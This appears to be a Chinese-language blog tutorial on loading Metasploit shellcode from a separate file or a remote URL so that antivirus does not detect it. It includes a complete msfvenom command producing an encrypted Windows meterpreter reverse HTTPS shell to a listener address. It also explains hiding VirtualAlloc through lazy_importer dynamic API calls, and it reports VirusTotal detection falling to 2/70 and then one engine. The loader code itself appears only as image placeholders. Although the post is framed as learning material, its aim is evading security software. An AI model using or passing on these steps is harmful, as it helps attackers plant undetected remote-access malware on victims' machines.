分离加载

简介

本文详细介绍了如何通过文件加载和远程URL加载方式实现Shellcode分离加载,以规避安全软件的检测。文章首先描述了通过Metasploit Framework生成的shellcode文件加载的过程,并提供了相关的C++代码。

为了避免被杀毒软件检测,利用动态API调用和lazy_importer项目进行代码优化。其次,文章讨论了如何通过远程URL加载shellcode,也提供了相应的实现代码。整篇文章旨在帮助读者理解shellcode分离加载的具体实现过程和原理,同时通过实践操作增强对这一技术的掌握程度

一、通过文件加载

msf生成shellcode文件

使用msfvenom生成raw格式的文本文件, 但是raw格式的文本文件很容易就会被杀软查杀,为了防止通讯特征被检测到,此处我还做了msf流量加密,此处若想了解msf流量加密的朋友可以去看这篇文章:MSF流量加密

msfvenom -p windows/x64/meterpreter_reverse_https lhost=192.168.47.155 lport=4444 PayloadUUIDTracking=true HandlerSSLCert=ssl.pem PayloadUUIDName=henry -f raw -o shellcode_raw.txt
image-20230522202357728

为了不被杀软查杀,并将其保存为十六进制格式

image-20230522202559734

代码实现

这段代码的作用是从一个以十六进制表示的文件中读取shellcode,然后将其加载到内存中,并执行该shellcode

代码优化

火绒和WindowsDefender都报毒了, 其原因是内存申请函数VirtualAlloc被检测到了,那就使用动态调用api来绕过检测

image-20230522235637826

导入lazy_importer项目来动态调用系统api, 然后在api函数前面添加上(LI_FN),并将函数参数的NULL替换成nullptr

image-20230523000215217

修改完代码后360不会报毒了, 上传到virus Total中的进行检测,查杀率为2/70,效果还不错

image-20230523000118697
image-20230523000630744

二、通过远程url加载

http服务目录放置shellcode文件

另一种shellcode分离加载的方法是通过远程URL加载。首先,我们需要在HTTP服务目录放置shellcode文件,然后启用HTTP服务:python -m http.server 8000

image-20230523230821603

image-20230523230937729

代码实现

基于上述代码的基础上,添加了GetUrl_HexContent函数,其作用是从指定url下载内容并将其存储在给定的缓冲区中,随后加载至内存

VirusTotal检测只有一个报毒

image-20230523204811063

payload是十六进制的

首先生成一个cs payload文件

最后更新于